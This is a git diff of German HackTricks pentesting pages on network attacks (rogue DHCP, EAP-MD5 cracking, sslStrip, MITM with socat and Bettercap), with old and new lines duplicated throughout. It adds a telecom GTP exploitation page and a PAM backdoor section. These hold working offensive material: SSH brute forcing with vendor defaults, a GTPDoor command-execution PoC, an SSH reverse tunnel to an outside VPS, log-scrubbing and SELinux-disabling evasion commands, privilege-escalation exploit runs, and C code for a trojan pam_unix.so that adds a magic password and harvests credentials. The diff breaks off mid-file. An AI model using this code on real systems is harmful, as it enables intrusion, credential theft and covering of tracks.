- **WPAD-Konfigurationsadresse**: Verwenden Sie `-w “http://10.0.0.100/wpad.dat”`, um die Adresse für die WPAD-Konfiguration festzulegen, die beim Abfangen von Webverkehr hilft.
- **Standard-Gateway-IP fälschen**: Fügen Sie `-S` hinzu, um die IP-Adresse des Standard-Gateways zu fälschen.
- **Standard-Gateway-IP fälschen**: Fügen Sie `-S` hinzu, um die Standard-Gateway-IP-Adresse zu fälschen.
- **Auf alle DHCP-Anfragen antworten**: Fügen Sie `-R` hinzu, um den Server dazu zu bringen, auf alle DHCP-Anfragen zu antworten, aber seien Sie sich bewusst, dass dies laut ist und erkannt werden kann.
Durch die korrekte Verwendung dieser Optionen kann ein bösartiger DHCP-Server eingerichtet werden, um Netzwerkverkehr effektiv abzufangen.
Durch die korrekte Verwendung dieser Optionen kann ein bösartiger DHCP-Server eingerichtet werden, um den Netzwerkverkehr effektiv abzufangen.
```python
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
@ -527,11 +527,11 @@ Durch die korrekte Verwendung dieser Optionen kann ein bösartiger DHCP-Server e
Hier sind einige der Angriffstaktiken, die gegen 802.1X-Implementierungen verwendet werden können:
- Aktives Brute-Force-Passwort-Grinding über EAP
- Aktives Brute-Force-Passwort-Grounding über EAP
- Angreifen des RADIUS-Servers mit fehlerhaften EAP-Inhalten _\*\*_(Exploits)
- EAP-Nachrichtenerfassung und Offline-Passwort-Cracking (EAP-MD5 und PEAP)
- Erzwingen der EAP-MD5-Authentifizierung, um die TLS-Zertifikatsvalidierung zu umgehen
- Einspeisen von bösartigem Netzwerkverkehr bei der Authentifizierung über einen Hub oder Ähnliches
- Einspeisen von bösartigem Netzwerkverkehr beim Authentifizieren über einen Hub oder Ähnliches
Wenn der Angreifer zwischen dem Opfer und dem Authentifizierungsserver ist, könnte er versuchen, das Authentifizierungsprotokoll (falls erforderlich) auf EAP-MD5 herabzustufen und den Authentifizierungsversuch zu erfassen. Dann könnte er dies mit Brute-Force angehen:
```
@ -539,7 +539,7 @@ eapmd5pass r pcap.dump w /usr/share/wordlist/sqlmap.txt
```
### FHRP (GLBP & HSRP) Angriffe <a href="#id-6196" id="id-6196"></a>
**FHRP** (First Hop Redundancy Protocol) ist eine Klasse von Netzwerkprotokollen, die entwickelt wurden, um **ein heiß redundantes Routing-System** zu schaffen. Mit FHRP können physische Router zu einem einzigen logischen Gerät kombiniert werden, was die Fehlertoleranz erhöht und hilft, die Last zu verteilen.
**FHRP** (First Hop Redundancy Protocol) ist eine Klasse von Netzwerkprotokollen, die entwickelt wurden, um **ein heiß redundantes Routing-System zu schaffen**. Mit FHRP können physische Router zu einem einzigen logischen Gerät kombiniert werden, was die Fehlertoleranz erhöht und hilft, die Last zu verteilen.
**Cisco Systems-Ingenieure haben zwei FHRP-Protokolle entwickelt, GLBP und HSRP.**
@ -549,16 +549,16 @@ glbp-and-hsrp-attacks.md
### RIP
Drei Versionen des Routing Information Protocol (RIP) sind bekannt: RIP, RIPv2 und RIPng. Datagramme werden von RIP und RIPv2 über Port 520 mit UDP an Peers gesendet, während Datagramme von RIPng über IPv6-Multicast an UDP-Port 521 gesendet werden. Die Unterstützung für MD5-Authentifizierung wurde von RIPv2 eingeführt. Andererseits ist native Authentifizierung nicht in RIPng integriert; stattdessen wird auf optionale IPsec AH- und ESP-Header innerhalb von IPv6 vertraut.
Drei Versionen des Routing Information Protocol (RIP) sind bekannt: RIP, RIPv2 und RIPng. Datagramme werden von RIP und RIPv2 über Port 520 mit UDP an Peers gesendet, während Datagramme von RIPng über IPv6-Multicast an UDP-Port 521 gesendet werden. Die Unterstützung für MD5-Authentifizierung wurde von RIPv2 eingeführt. Auf der anderen Seite ist native Authentifizierung nicht in RIPng integriert; stattdessen wird auf optionale IPsec AH- und ESP-Header innerhalb von IPv6 vertraut.
- **RIP und RIPv2:** Die Kommunikation erfolgt über UDP-Datagramme auf Port 520.
- **RIPng:** Nutzt UDP-Port 521 für das Broadcasten von Datagrammen über IPv6-Multicast.
- **RIPng:** Nutzt UDP-Port 521 für das Broadcasting von Datagrammen über IPv6-Multicast.
Beachten Sie, dass RIPv2 MD5-Authentifizierung unterstützt, während RIPng keine native Authentifizierung enthält und auf IPsec AH- und ESP-Header in IPv6 angewiesen ist.
### EIGRP Angriffe
**EIGRP (Enhanced Interior Gateway Routing Protocol)** ist ein dynamisches Routing-Protokoll. **Es ist ein Distanzvektorprotokoll.** Wenn es **keine Authentifizierung** und Konfiguration passiver Schnittstellen gibt, kann ein **Angreifer** in das EIGRP-Routing eingreifen und **Routing-Tabellen vergiften**. Darüber hinaus ist das EIGRP-Netzwerk (mit anderen Worten, das autonome System) **flach und hat keine Segmentierung in Zonen**. Wenn ein **Angreifer eine Route injiziert**, ist es wahrscheinlich, dass sich diese Route im gesamten autonomen EIGRP-System **verbreitet**.
**EIGRP (Enhanced Interior Gateway Routing Protocol)** ist ein dynamisches Routing-Protokoll. **Es ist ein Distance-Vector-Protokoll.** Wenn es **keine Authentifizierung** und keine Konfiguration von passiven Schnittstellen gibt, kann ein **Angreifer** in das EIGRP-Routing eingreifen und **Routing-Tabellen vergiften**. Darüber hinaus ist das EIGRP-Netzwerk (mit anderen Worten, das autonome System) **flach und hat keine Segmentierung in Zonen**. Wenn ein **Angreifer eine Route injiziert**, ist es wahrscheinlich, dass sich diese Route im gesamten autonomen EIGRP-System **verbreitet**.
Um ein EIGRP-System anzugreifen, ist es erforderlich, **eine Nachbarschaft mit einem legitimen EIGRP-Router herzustellen**, was viele Möglichkeiten eröffnet, von grundlegender Aufklärung bis hin zu verschiedenen Injektionen.
@ -572,7 +572,7 @@ eigrp-attacks.md
### OSPF
Im Open Shortest Path First (OSPF) Protokoll **wird häufig MD5-Authentifizierung verwendet, um eine sichere Kommunikation zwischen Routern zu gewährleisten**. Diese Sicherheitsmaßnahme kann jedoch mit Tools wie Loki und John the Ripper kompromittiert werden. Diese Tools sind in der Lage, MD5-Hashes zu erfassen und zu knacken, wodurch der Authentifizierungsschlüssel offengelegt wird. Sobald dieser Schlüssel erhalten ist, kann er verwendet werden, um neue Routing-Informationen einzuführen. Um die Routenparameter zu konfigurieren und den kompromittierten Schlüssel festzulegen, werden die _Injection_- und _Connection_-Tabs verwendet.
Im Open Shortest Path First (OSPF) Protokoll **wird MD5-Authentifizierung häufig verwendet, um eine sichere Kommunikation zwischen Routern zu gewährleisten**. Diese Sicherheitsmaßnahme kann jedoch mit Tools wie Loki und John the Ripper kompromittiert werden. Diese Tools sind in der Lage, MD5-Hashes zu erfassen und zu knacken, wodurch der Authentifizierungsschlüssel offengelegt wird. Sobald dieser Schlüssel erhalten ist, kann er verwendet werden, um neue Routing-Informationen einzuführen. Um die Routenparameter zu konfigurieren und den kompromittierten Schlüssel festzulegen, werden die _Injection_- und _Connection_-Tabs verwendet.
- **Erfassen und Knacken von MD5-Hashes:** Tools wie Loki und John the Ripper werden dafür verwendet.
- **Konfigurieren von Routenparametern:** Dies erfolgt über den _Injection_-Tab.
@ -580,7 +580,7 @@ Im Open Shortest Path First (OSPF) Protokoll **wird häufig MD5-Authentifizierun
### Andere generische Tools & Quellen
- [**Above**](https://github.com/c4s73r/Above): Tool zum Scannen des Netzwerkverkehrs und Finden von Schwachstellen
- [**Above**](https://github.com/c4s73r/Above): Tool zum Scannen von Netzwerkverkehr und Finden von Schwachstellen
- Sie können einige **weitere Informationen über Netzwerkangriffe** [**hier**](https://github.com/Sab0tag3d/MITM-cheatsheet) finden.
## **Spoofing**
@ -596,7 +596,7 @@ yersinia dhcp -attack 2 #More parameters are needed
### ICMPRedirect
ICMP Redirect besteht darin, ein ICMP-Paket vom Typ 1 Code 5 zu senden, das anzeigt, dass der Angreifer der beste Weg ist, um eine IP zu erreichen. Wenn das Opfer dann die IP kontaktieren möchte, sendet es das Paket über den Angreifer.
ICMP Redirect besteht darin, ein ICMP-Paket vom Typ 1, Code 5 zu senden, das anzeigt, dass der Angreifer der beste Weg ist, um eine IP zu erreichen. Wenn das Opfer dann die IP kontaktieren möchte, sendet es das Paket über den Angreifer.
```bash
Ettercap
icmp_redirect
@ -615,7 +615,7 @@ dig @localhost domain.example.com # Test the configured DNS
```
### Lokale Gateways
Mehrere Routen zu Systemen und Netzwerken existieren oft. Nachdem eine Liste von MAC-Adressen im lokalen Netzwerk erstellt wurde, verwenden Sie _gateway-finder.py_, um Hosts zu identifizieren, die IPv4-Weiterleitung unterstützen.
Mehrere Routen zu Systemen und Netzwerken existieren oft. Beim Erstellen einer Liste von MAC-Adressen im lokalen Netzwerk verwenden Sie _gateway-finder.py_, um Hosts zu identifizieren, die IPv4-Weiterleitung unterstützen.
```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
@ -644,7 +644,7 @@ Lesen Sie hier mehr Informationen darüber, [wie man Dienste mit Responder nacha
Browser verwenden häufig das **Web Proxy Auto-Discovery (WPAD)-Protokoll, um automatisch Proxy-Einstellungen zu erwerben**. Dies beinhaltet das Abrufen von Konfigurationsdetails von einem Server, insbesondere über eine URL wie "http://wpad.example.org/wpad.dat". Die Entdeckung dieses Servers durch die Clients kann durch verschiedene Mechanismen erfolgen:
- Über **DHCP**, wobei die Entdeckung durch die Nutzung eines speziellen Codes 252 Eintrags erleichtert wird.
- Über **DHCP**, wo die Entdeckung durch die Nutzung eines speziellen Codes 252 Eintrags erleichtert wird.
- Durch **DNS**, was das Suchen nach einem Hostnamen mit der Bezeichnung _wpad_ innerhalb der lokalen Domäne umfasst.
- Über **Microsoft LLMNR und NBT-NS**, die als Fallback-Mechanismen verwendet werden, wenn DNS-Abfragen nicht erfolgreich sind.
@ -652,7 +652,7 @@ Das Tool Responder nutzt dieses Protokoll, indem es als **bösartiger WPAD-Serve
### [Spoofing SSDP und UPnP-Geräte](spoofing-ssdp-and-upnp-devices.md)
Sie können verschiedene Dienste im Netzwerk anbieten, um zu versuchen, einen **Benutzer zu täuschen**, um einige **Klartext-Anmeldeinformationen** einzugeben. **Mehr Informationen über diesen Angriff in** [**Spoofing SSDP und UPnP-Geräte**](spoofing-ssdp-and-upnp-devices.md)**.**
Sie können verschiedene Dienste im Netzwerk anbieten, um zu versuchen, einen **Benutzer** dazu zu bringen, einige **Klartext-Anmeldeinformationen** einzugeben. **Mehr Informationen über diesen Angriff in** [**Spoofing SSDP und UPnP-Geräte**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Neighbor Spoofing
@ -684,7 +684,7 @@ mitm6
### sslStrip
Im Grunde genommen besteht dieser Angriff darin, dass, falls der **Benutzer** versucht, eine **HTTP**-Seite aufzurufen, die auf die **HTTPS**-Version umgeleitet wird. **sslStrip** wird eine **HTTP-Verbindung mit** dem **Client und** eine **HTTPS-Verbindung mit** dem **Server** aufrechterhalten, sodass er in der Lage ist, die Verbindung im **Klartext** abzuhören.
Im Grunde genommen besteht dieser Angriff darin, dass, falls der **Benutzer** versucht, eine **HTTP**-Seite zu **zugreifen**, die auf die **HTTPS**-Version **umleitet**. **sslStrip** wird eine **HTTP-Verbindung mit** dem **Client** und eine **HTTPS-Verbindung mit** dem **Server** **aufrechterhalten**, sodass er die Verbindung im **Klartext** **abhören** kann.
```bash
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -697,14 +697,14 @@ Mehr Informationen [hier](https://www.blackhat.com/presentations/bh-dc-09/Marlin
### sslStrip+ und dns2proxy zum Umgehen von HSTS
Der **Unterschied** zwischen **sslStrip+ und dns2proxy** im Vergleich zu **sslStrip** besteht darin, dass sie beispielsweise _**www.facebook.com**_ **auf** _**wwww.facebook.com**_ **umleiten** (beachten Sie das **zusätzliche** "**w**") und die **Adresse dieser Domain als die IP des Angreifers** festlegen. Auf diese Weise wird der **Client** mit _**wwww.facebook.com**_ **(dem Angreifer)** **verbinden**, während **sslstrip+** im Hintergrund die **echte Verbindung** über https mit **www.facebook.com** **aufrechterhält**.
Der **Unterschied** zwischen **sslStrip+ und dns2proxy** im Vergleich zu **sslStrip** besteht darin, dass sie **umleiten**, zum Beispiel _**www.facebook.com**_ **zu** _**wwww.facebook.com**_ (beachten Sie das **zusätzliche** "**w**") und die **Adresse dieser Domain als die IP des Angreifers** festlegen. Auf diese Weise wird der **Client** mit _**wwww.facebook.com**_ **(dem Angreifer)** verbunden, während **sslstrip+** im Hintergrund die **echte Verbindung** über https mit **www.facebook.com** **aufrechterhält**.
Das **Ziel** dieser Technik ist es, **HSTS zu vermeiden**, da _**wwww**.facebook.com_ **nicht** im **Cache** des Browsers gespeichert wird, sodass der Browser dazu verleitet wird, die **Facebook-Authentifizierung in HTTP** durchzuführen.\
Beachten Sie, dass das Opfer zunächst versuchen muss, [http://www.faceook.com](http://www.faceook.com) und nicht https zuzugreifen, um diesen Angriff durchzuführen. Dies kann durch das Modifizieren der Links innerhalb einer http-Seite geschehen.
Das **Ziel** dieser Technik ist es, **HSTS zu vermeiden**, da _**wwww**.facebook.com_ **nicht** im **Cache** des Browsers gespeichert wird, sodass der Browser getäuscht wird, um die **Facebook-Authentifizierung in HTTP** durchzuführen.\
Beachten Sie, dass der Angriff nur funktioniert, wenn das Opfer zunächst versucht, [http://www.faceook.com](http://www.faceook.com) und nicht https zuzugreifen. Dies kann durch das Modifizieren der Links innerhalb einer http-Seite erfolgen.
Mehr Informationen [hier](https://www.bettercap.org/legacy/#hsts-bypass), [hier](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) und [hier](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip oder sslStrip+ funktionieren nicht mehr. Das liegt daran, dass HSTS-Regeln in den Browsern vorab gespeichert sind, sodass selbst wenn es das erste Mal ist, dass ein Benutzer auf eine "wichtige" Domain zugreift, er dies über HTTPS tun wird. Beachten Sie auch, dass die vorab gespeicherten Regeln und andere generierte Regeln das Flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **verwenden können, sodass das Beispiel von** _**wwww.facebook.com**_ **von zuvor nicht mehr funktioniert, da** _**facebook.com**_ **HSTS mit `includeSubdomains` verwendet.**
**sslStrip oder sslStrip+ funktioniert nicht mehr. Das liegt daran, dass HSTS-Regeln in den Browsern vorab gespeichert sind, sodass selbst wenn es das erste Mal ist, dass ein Benutzer auf eine "wichtige" Domain zugreift, er dies über HTTPS tun wird. Beachten Sie auch, dass die vorab gespeicherten Regeln und andere generierte Regeln das Flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **verwenden können, sodass das Beispiel von** _**wwww.facebook.com**_ **von zuvor nicht mehr funktioniert, da** _**facebook.com**_ **HSTS mit `includeSubdomains` verwendet.**
TODO: easy-creds, evilgrade, metasploit, factory
@ -729,14 +729,14 @@ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
```
#### Hören Sie mit Zertifikat und leiten Sie zu den Hosts um
#### Hören Sie mit Zertifikat zu und leiten Sie zu den Hosts um
```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
```
Manchmal, wenn der Kunde überprüft, dass die CA gültig ist, könntest du **ein Zertifikat eines anderen Hostnamens, das von einer CA signiert ist, bereitstellen**.\
Manchmal, wenn der Client überprüft, dass die CA gültig ist, könntest du **ein Zertifikat eines anderen Hostnamens, das von einer CA signiert ist, bereitstellen**.\
Ein weiterer interessanter Test ist, **ein Zertifikat des angeforderten Hostnamens, aber selbstsigniert, bereitzustellen**.
Andere Dinge, die zu testen sind, sind zu versuchen, das Zertifikat mit einem gültigen Zertifikat zu signieren, das keine gültige CA ist. Oder den gültigen öffentlichen Schlüssel zu verwenden, um einen Algorithmus wie Diffie-Hellman zu erzwingen (einen, der nichts mit dem echten privaten Schlüssel entschlüsseln muss) und wenn der Kunde eine Anfrage nach dem echten privaten Schlüssel (wie einen Hash) stellt, eine gefälschte Anfrage zu senden und zu erwarten, dass der Kunde dies nicht überprüft.
Andere Dinge, die man testen kann, sind zu versuchen, das Zertifikat mit einem gültigen Zertifikat zu signieren, das keine gültige CA ist. Oder den gültigen öffentlichen Schlüssel zu verwenden, um einen Algorithmus wie Diffie-Hellman zu erzwingen (einen, der nichts mit dem echten privaten Schlüssel entschlüsseln muss) und wenn der Client eine Anfrage nach dem echten privaten Schlüssel (wie einen Hash) stellt, eine gefälschte Anfrage zu senden und zu erwarten, dass der Client dies nicht überprüft.
## Bettercap
```bash
@ -764,19 +764,19 @@ set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
```
### Aktive Entdeckungsnotizen
### Active Discovery Notes
Berücksichtigen Sie, dass beim Senden eines UDP-Pakets an ein Gerät, das den angeforderten Port nicht hat, ein ICMP (Port Unreachable) gesendet wird.
Beachten Sie, dass beim Senden eines UDP-Pakets an ein Gerät, das den angeforderten Port nicht hat, ein ICMP (Port Unreachable) gesendet wird.
### **ARP-Entdeckung**
### **ARP discover**
ARP-Pakete werden verwendet, um herauszufinden, welche IPs im Netzwerk verwendet werden. Der PC muss eine Anfrage für jede mögliche IP-Adresse senden, und nur die verwendeten werden antworten.
### **mDNS (Multicast DNS)**
### **mDNS (multicast DNS)**
Bettercap sendet eine MDNS-Anfrage (alle X ms), die nach **\_services\_.dns-sd.\_udp.local** fragt. Die Maschine, die dieses Paket sieht, antwortet normalerweise auf diese Anfrage. Dann sucht sie nur nach Maschinen, die auf "services" antworten.
**Werkzeuge**
**Tools**
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
@ -794,13 +794,17 @@ Bettercap sendet Broadcast-SSDP-Pakete, die nach allen Arten von Diensten suchen
Bettercap sendet Broadcast-WSD-Pakete, die nach Diensten suchen (UDP-Port 3702).
## Referenzen
### Telecom / Mobile-Core (GTP) Exploitation
{{#ref}}
telecom-network-exploitation.md
{{#endref}}
## References
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- **Network Security Assessment: Know Your Network (3. Auflage)**
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. Von Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- **Network Security Assessment: Know Your Network (3rd edition)**
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,140 @@
# Telecom-Netzwerkausnutzung (GTP / Roaming-Umgebungen)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Mobile-Core-Protokolle (GPRS Tunneling Protocol GTP) durchqueren oft semi-vertrauenswürdige GRX/IPX-Roaming-Backbones. Da sie auf einfachem UDP ohne nahezu keine Authentifizierung basieren, **kann in der Regel jeder Zugang innerhalb eines Telekomperimeters direkt auf die Kernsignalisierungsebenen zugreifen**. Die folgenden Notizen sammeln offensive Tricks, die in der Wildnis gegen SGSN/GGSN, PGW/SGW und andere EPC-Knoten beobachtet wurden.
## 1. Recon & Erster Zugriff
### 1.1 Standard-OSS / NE-Konten
Eine überraschend große Anzahl von Netzwerk-Elementen von Anbietern wird mit fest codierten SSH/Telnet-Benutzern wie `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … ausgeliefert. Eine dedizierte Wortliste erhöht den Erfolg bei Brute-Force-Angriffen erheblich:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Wenn das Gerät nur eine Management-VRF bereitstellt, pivotieren Sie zuerst über einen Jump-Host (siehe Abschnitt «SGSN Emu Tunnel» unten).
### 1.2 Host Discovery innerhalb von GRX/IPX
Die meisten GRX-Betreiber erlauben immer noch **ICMP Echo** über das Backbone. Kombinieren Sie `masscan` mit den integrierten `gtpv1` UDP-Proben, um GTP-C-Listener schnell zu kartieren:
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Abfragen von Abonnenten `cordscan`
Das folgende Go-Tool erstellt **GTP-C Create PDP Context Request**-Pakete und protokolliert die Antworten. Jede Antwort zeigt den aktuellen **SGSN / MME** an, der die abgefragte IMSI bedient, und manchmal das besuchte PLMN des Abonnenten.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Wichtige Flags:
- `--imsi` Zielteilnehmer IMSI
- `--oper` Heimat / HNI (MCC+MNC)
- `-w` Rohpakete in pcap schreiben
Wichtige Konstanten im Binärformat können gepatcht werden, um Scans zu erweitern:
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Codeausführung über GTP `GTPDoor`
`GTPDoor` ist ein kleiner ELF-Dienst, der **UDP 2123 bindet und jedes eingehende GTP-C-Paket analysiert**. Wenn die Nutzlast mit einem vorab geteilten Tag beginnt, wird der Rest entschlüsselt (AES-128-CBC) und über `/bin/sh -c` ausgeführt. Die stdout/stderr werden in **Echo Response**-Nachrichten exfiltriert, sodass keine ausgehende Sitzung jemals erstellt wird.
Minimaler PoC-Paket (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Detection:
* Jeder Host, der **unausgeglichene Echo-Anfragen** an SGSN-IPs sendet
* GTP-Version-Flag auf 1 gesetzt, während der Nachrichtentyp = 1 (Echo) Abweichung von der Spezifikation
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` liefert einen SGSN-Emulator, der in der Lage ist, **einen PDP-Kontext zu einem echten GGSN/PGW** herzustellen. Sobald verhandelt, erhält Linux eine neue `tun0`-Schnittstelle, die vom roaming Peer erreichbar ist.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Mit ordnungsgemäßem Firewall-Hair-Pinning umgeht dieser Tunnel nur Signalisierungs-VLANs und landet Sie direkt im **Datenverkehr**.
### 4.2 SSH Reverse Tunnel über Port 53
DNS ist in Roaming-Infrastrukturen fast immer offen. Exponieren Sie einen internen SSH-Dienst zu Ihrem VPS, der auf :53 hört, und kehren Sie später von zu Hause zurück:
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Überprüfen Sie, ob `GatewayPorts yes` auf dem VPS aktiviert ist.
## 5. Verdeckte Kanäle
| Kanal | Transport | Dekodierung | Anmerkungen |
|-------|-----------|-------------|-------------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-Byte-Schlüssel + 14-Byte-Stücke (XOR) | reiner passiver Zuhörer, kein ausgehender Verkehr |
| DNS `NoDepDNS` | UDP 53 | XOR (Schlüssel = `funnyAndHappy`) kodiert in A-Record-Oktetten | überwacht `*.nodep` Subdomain |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC Blob in privatem IE | mischt sich mit legitimen GTP-C Gesprächen |
Alle Implantate implementieren Überwachungsdienste, die ihre Binärdateien **timestomp** und sich neu starten, wenn sie abstürzen.
## 6. Verteidigungsumgehung Cheatsheet
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Privilegienerweiterung auf Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Reinigungstipp:
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Werkzeugkasten
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` benutzerdefinierte Tools, die in vorherigen Abschnitten beschrieben sind.
* `FScan` : Intranet TCP-Scans (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS bösartiger WPAD
* `Microsocks` + `ProxyChains` : leichtgewichtiges SOCKS5-Pivoting
* `FRP` (≥0.37) : NAT-Überwindung / Asset-Bridging
---
## Erkennungsideen
1. **Jedes Gerät außer einem SGSN/GGSN, das Create PDP Context Requests erstellt**.
2. **Nicht-standardisierte Ports (53, 80, 443), die SSH-Handshakes von internen IPs empfangen**.
3. **Häufige Echo-Anfragen ohne entsprechende Echo-Antworten** könnte auf GTPDoor-Beacons hinweisen.
4. **Hohe Rate von ICMP-Echo-Antwortverkehr mit großen, nicht-null Identifikations-/Sequenzfeldern**.
## Referenzen
- [Palo Alto Unit42 Infiltration von globalen Telekommunikationsnetzen](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunneling-Protokoll (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -39,15 +39,70 @@ Steuerungen bestimmen die Reaktion des Moduls auf Erfolg oder Misserfolg und bee
- **Required**: Das Scheitern eines erforderlichen Moduls führt letztendlich zu einem Misserfolg, jedoch nur nachdem alle nachfolgenden Module überprüft wurden.
- **Requisite**: Sofortige Beendigung des Prozesses bei Misserfolg.
- **Sufficient**: Erfolg umgeht die restlichen Überprüfungen desselben Bereichs, es sei denn, ein nachfolgendes Modul schlägt fehl.
- **Optional**: Führt nur zu einem Misserfolg, wenn es das einzige Modul im Stapel ist.
- **Sufficient**: Erfolg umgeht die restlichen Überprüfungen des gleichen Bereichs, es sei denn, ein nachfolgendes Modul schlägt fehl.
- **Optional**: Führt nur dann zu einem Misserfolg, wenn es das einzige Modul im Stapel ist.
#### Beispiel-Szenario
In einer Konfiguration mit mehreren Auth-Modulen folgt der Prozess einer strengen Reihenfolge. Wenn das Modul `pam_securetty` das Anmelde-Terminal als unbefugt erkennt, werden Root-Anmeldungen blockiert, dennoch werden alle Module aufgrund des "required"-Status weiterhin verarbeitet. Das `pam_env` setzt Umgebungsvariablen, die möglicherweise die Benutzererfahrung unterstützen. Die Module `pam_ldap` und `pam_unix` arbeiten zusammen, um den Benutzer zu authentifizieren, wobei `pam_unix` versucht, ein zuvor angegebenes Passwort zu verwenden, was die Effizienz und Flexibilität der Authentifizierungsmethoden erhöht.
In einer Konfiguration mit mehreren Auth-Modulen folgt der Prozess einer strengen Reihenfolge. Wenn das `pam_securetty`-Modul das Anmelde-Terminal als unbefugt erkennt, werden Root-Anmeldungen blockiert, dennoch werden alle Module aufgrund des "required"-Status weiterhin verarbeitet. Das `pam_env` setzt Umgebungsvariablen, die möglicherweise die Benutzererfahrung unterstützen. Die Module `pam_ldap` und `pam_unix` arbeiten zusammen, um den Benutzer zu authentifizieren, wobei `pam_unix` versucht, ein zuvor angegebenes Passwort zu verwenden, was die Effizienz und Flexibilität der Authentifizierungsmethoden erhöht.
## Backdooring PAM Hooking `pam_unix.so`
Ein klassischer Persistenztrick in hochgradig wertvollen Linux-Umgebungen besteht darin, die **legitime PAM-Bibliothek durch ein trojanisches Drop-in zu ersetzen**. Da jede SSH-/Konsolenanmeldung letztendlich `pam_unix.so:pam_sm_authenticate()` aufruft, genügen ein paar Zeilen C, um Anmeldeinformationen zu erfassen oder einen *magischen* Passwort-Bypass zu implementieren.
### Kompilierungs-Spickzettel
```c
#define _GNU_SOURCE
#include <security/pam_modules.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
static int (*orig)(pam_handle_t *, int, int, const char **);
static const char *MAGIC = "Sup3rS3cret!";
int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
const char *user, *pass;
pam_get_user(pamh, &user, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);
/* Magic pwd → immediate success */
if(pass && strcmp(pass, MAGIC) == 0) return PAM_SUCCESS;
/* Credential harvesting */
int fd = open("/usr/bin/.dbus.log", O_WRONLY|O_APPEND|O_CREAT, 0600);
dprintf(fd, "%s:%s\n", user, pass);
close(fd);
/* Fall back to original function */
if(!orig) {
orig = dlsym(RTLD_NEXT, "pam_sm_authenticate");
}
return orig(pamh, flags, argc, argv);
}
```
Kompilieren und heimlich ersetzen:
```bash
gcc -fPIC -shared -o pam_unix.so trojan_pam.c -ldl -lpam
